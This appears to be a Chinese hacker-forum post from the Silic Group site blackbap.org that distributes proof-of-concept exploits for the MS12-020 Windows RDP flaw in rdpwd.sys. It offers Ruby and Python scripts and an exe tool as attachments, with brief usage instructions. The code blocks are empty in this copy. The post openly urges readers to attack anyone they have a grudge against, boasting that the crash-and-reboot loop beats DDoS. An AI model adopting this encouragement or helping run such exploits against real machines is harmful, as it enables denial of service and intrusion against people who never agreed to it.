MS12-020 漏洞利用程序_blackbap.org

根据大家的测试，多数为直接蓝屏。
根据Silic Group的调查，蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本，所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果，发送580 byte数据包的基本可以成功，内网或者同C段则成功率比较高，其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性，蓝屏则表示漏洞存在，只是shellcode在内存覆盖的位置有问题。
如果不爽，跟谁有仇就干谁，重启就蓝重启就蓝重启就蓝，补丁都打不上，这东西比DDoS稳定

本文末尾将付上MS12-020真正的PoC，编写语言为ruby和python两个版本的，还有一个exe程序，均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode，而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子，其他的地方还真没流传出来。
新闻把这个炒作起来，完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的，因为既然有漏洞的文件知道了，就会有人根据分析有漏洞的文件写出shellcode，不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本，nasl版本的PoC真的要执行指定命令并不太容易，多数都拒绝服务了，不过测试中580byte的shellcode是成功率最高的。
也就是说，网上流传的截图也好，视频也好，有sent从一百两百到上万byte的PoC程序截图，这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞，可以通过向远程桌面端口发送特定的RDP包获得管理员权限，存在漏洞的文件是rdpwd.sys，出现漏洞的原因，恐怕现在网上已经泛滥的一塌糊涂了，那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候，微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞，漏洞代号是MS11-065。
注：本文并非专业分析
但是转载请注明本文来自：Silic Group Hacker Army[http://blackbap.org]
首先，第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同：
更新前的代码：

更新后的代码：

是的，代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原：

这是后面加过检查和释放函数的：

通过检查，上述函数似乎只解决了内存泄露问题，并没有解决内存不释放的问题？？
还有一个函数也是疑似检查用户数据的，疑似是边界的检查

上面这个函数我并没有做什么太大的分析，因为漏洞已经产生了，其实大家更想知道的，并不是这个漏洞如何产生的，而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本：

既然ruby的数据包上已经声明了，这个脚本是基于“Chinese Shit”的脚本所写，并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的，Python语言：

据测试，上面版本的Chinese Shit仍然有很多bug，附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒，可以直接下载以上PoC的压缩包，如果你比较勤快，可以点击以上代码的“复制代码”，并保存于记事本并重命名为xx.rb和xx.py并自己修正bug

附件说明：
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在，且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
